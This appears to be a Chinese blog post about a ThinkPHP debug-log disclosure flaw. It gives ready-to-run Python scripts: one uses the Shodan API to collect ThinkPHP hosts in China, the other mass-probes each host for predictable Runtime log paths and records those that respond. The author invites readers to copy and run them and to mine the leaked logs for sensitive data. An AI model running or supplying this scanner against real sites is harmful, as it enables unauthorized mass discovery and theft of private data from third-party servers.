昨天遇到了一個ThinkPHP日志泄露,然后我就寫了個腳本利用shodan搜索批量的來找一下漏洞,估計已經被人擼完了,不過還有一些網站有着此漏洞。ip收集和漏洞驗證腳本工具我會放在最下面,需要的直接復制運行就行。
漏洞信息:
1、ThinkPHP在開啟DEBUG的情況下會在Runtime目錄下生成日志,而且debug很多網站都沒有關
2、ThinkPHP默認安裝后,也會在Runtime目錄下生成日志
THINKPHP3.2 結構:Application\Runtime\Logs\Home\16_09_09.log
THINKPHP3.1結構:Runtime\Logs\Home\16_09_09.log
日志存儲結構是 :項目名\Runtime\Logs\Home\年份_月份_日期.log
例如,某個大學的日志泄露 ,里面可能存在着敏感信息,這就需要我們自己尋找和利用

ip收集腳本編寫:
import shodan
api = shodan.Shodan('api') # 寫你自己shodan的api
def Findip():
print('收集ip開始')
try:
f = open(r'ThinkPHP.txt', 'a+')
results = api.search("thinkphp country:'CN'") #如果修改搜索的內容請注意符號
print("一共找到:%s" % results['total'])
for result in results['matches']:
url = result['ip_str'] + ":" + str(result['port'])
print(url)
f.write("http://" + url)
f.write("\n")
f.close()
print('ip收集完畢')
except shodan.APIError as e:
print("end:%s" % e)
Findip()

漏洞驗證:將ThinkPHP.txt 和此py放同一目錄
import time
import requests
def run():
payload_o = '/App/Runtime/Logs/22_03_29.log'
payload_t = '/Runtime/Logs/Home/22_03_29.log'
print("最后的結果保存在vlun.txt")
for ip in open('ThinkPHP.txt'):
# 把換行利用正則換成空格
ip = ip.replace('\n', '')
ip1 = ip + payload_o
ip2 = ip + payload_t
print("當前ip",ip)
# 容錯處理
try:
vlun_o = requests.get(ip1).status_code
vlun_t = requests.get(ip2).status_code
if vlun_o == 200:
print('find it->' + ip1 + '狀態碼為:' + str(vlun_o))
with open(r'T1.txt', 'a+', encoding='utf-8') as f:
f.write(ip1 + '\n')
f.close()
if vlun_t == 200:
print('find it->' + ip2 + '狀態碼為:' + str(vlun_t))
with open(r'T1.txt', 'a+', encoding='utf-8') as f:
f.write(ip2 + '\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass
run()

存在200即有可能存在日志泄露
不懂shodan編程的可以看 撒旦API使用指南

